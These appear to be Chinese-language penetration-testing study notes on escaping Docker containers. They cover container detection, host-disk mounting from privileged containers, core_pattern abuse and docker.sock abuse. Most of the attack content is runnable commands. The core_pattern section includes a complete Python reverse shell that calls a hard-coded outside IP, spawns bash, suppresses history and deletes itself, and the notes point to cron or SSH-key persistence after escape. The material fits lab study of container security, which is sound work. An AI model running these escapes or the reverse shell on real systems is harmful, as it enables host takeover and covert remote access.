Docker容器逃逸
Privileged 特权模式容器逃逸 | T Wiki (teamssix.com)https://wiki.teamssix.com/cloudnative/docker/docker-privileged-escape.html
1、云原生-Docker 安全-容器逃逸&特权模式
2、云原生-Docker 安全-容器逃逸&挂载 Procfs
3、云原生-Docker 安全-容器逃逸&挂载 Socket
4、云原生-Docker 安全-容器逃逸条件&权限高低
1、Docker是干嘛的?
一个容器技术,类似于VM虚拟机,别人环境封装好打包成一个镜像,使用docker技术就能快速把这个镜像环境还原出来。
2、Docker对于渗透测试影响?
攻击者攻击虚拟空间磁盘,拿到最高权限也是虚拟空间的权限,而不是真实物理环境的权限
3、前渗透-判断是否在容器中
前提:拿到权限
如何快速判断是否在容器环境_如何确定是不是处于docker容器-CSDN博客
方式一:查询cgroup信息
最简单精准的方式就是查询系统进程的cgroup信息,通过响应的内容可以识别当前进程所处的运行环境,就可以知道是在虚拟机、docker还是kubepods里。
方式二:检查/.dockerenv文件
通过判断根目录下的 .dockerenv文件是否存在,可以简单的识别docker环境。
K8s&docker环境下:ls -alh /.dockerenv 可以找到文件。
方式三:检查mount信息
利用mount查看挂载磁盘是否存在docker相关信息。
方式四:查看硬盘信息
fdisk -l 容器输出为空,非容器有内容输出。
K8s&docker环境下:
方式五:查看文件系统以及挂载点
df -h 检查文件系统挂载的目录,也能够简单判断是否为docker环境。
K8s&docker环境下:
解决目前无法访问,超时连接方法
解决方案1:配置加速地址
配置加速地址:适用于Ubuntu 16.04+、Debian 8+、CentOS 7+
方式一:使用以下命令设置registry mirror:但是需要重启docker服务
sudo mkdir -p /etc/docker
sudo tee /etc/docker/daemon.json <<-'EOF'
{
"registry-mirrors": [
"https://do.nark.eu.org",
"https://dc.j8.work",
"https://dockerhub.icu/",
"https://docker.m.daocloud.io",
"https://dockerproxy.com",
"https://docker.mirrors.ustc.edu.cn",
"https://docker.nju.edu.cn"
]
}
EOF
sudo systemctl daemon-reload
sudo systemctl restart docker
云原生-Docker安全-容器逃逸&特权模式
1、以特权模式启动靶场
docker run --rm --privileged=true -it alpine
相当于拿到权限了
2、检测是否是docker环境
ls -alh /
3、判断是否是特权模式
cat /proc/self/status | grep CapEff
4、查看目录
fdisk -l
5、特权模式逃逸
mkdir /test && mount /dev/sda1 /test
cd /test/
ls
后面就是写任务计划或ssh写密钥登录
云原生-Docker安全-容器逃逸&挂载Procfs
1、启动环境
docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu
2、检测环境
find / -name core_pattern
3、查找路径(容器在真实磁盘的绝对路径)
cat /proc/mounts | grep workdir
workdir=/var/lib/docker/overlay2/b0490e5e3485e7181b3d03126444c472d4e061b47b43a61870e562a0ce4fa01e
4、写入文件
cat >/tmp/.x.py << EOF
#!/usr/bin/python
import os
import pty
import socket
lhost = "47.122.60.89"
lport = 7777
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", '/dev/null')
pty.spawn("/bin/bash")
os.remove('/tmp/.x.py')
s.close()
if __name__ == "__main__":
main()
EOF
添加执行权限
echo -e "|/var/lib/docker/overlay2/b0490e5e3485e7181b3d03126444c472d4e061b47b43a61870e562a0ce4fa01e/merged/tmp/.x.py \rcore " > /host/proc/sys/kernel/core_pattern
//这里的路径要替换为workdir的绝对路径
cat >/tmp/x.c << EOF
#include <stdio.h>
int main(void)
{
int *a = NULL;
*a = 1;
return 0;
}
EOF
cd /tmp
gcc x.c -o x //编译c文件
apt-get update -y && apt-get install gcc -y
//实战中不推荐安装gcc环境,可以在linux上编译好后上传到容器中执行就行
5、执行文件:
./x
vps上监听即可
nc -lvvp xxxx
云原生-Docker安全-容器逃逸&挂载Socket
参考地址:挂载 Docker Socket 逃逸 | T Wiki
docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu
2、进入环境
docker exec -it with_docker_sock /bin/bash
3、检测环境
ls -lah /var/run/docker.sock
4、挂载逃逸
apt-get update
apt-get install curl
curl -fsSL https://get.docker.com/ | sh
在容器内部创建一个新的容器,并将宿主机目录挂载到新的容器内部
docker run -it -v /:/host ubuntu /bin/bash
ls /host/root
云原生-Docker安全-容器逃逸条件&权限高低
模拟真实场景:
高权限-Web入口到Docker逃逸(java)特权模式逃逸
docker run --rm --privileged=true -it -p 8888:8080 vulfocus/shiro-721
ls -la /
cat /proc/self/status | grep CapEff
fdisk -l
mkdir /test && mount /dev/sda1 /test
低权限-Web入口到Docker逃逸(PHP)特权模式逃逸
docker run --rm --privileged=true -it -p 8080:80 sagikazarmark/dvwa
拿到权限
发现dockerenv文件
mkdir /test && mount /dev/sda1 /test
无法挂载
入口如果是低权限的话是没法用特权模式和危险挂载去逃逸的,但是可以利用系统漏洞或者docker自身漏洞去逃逸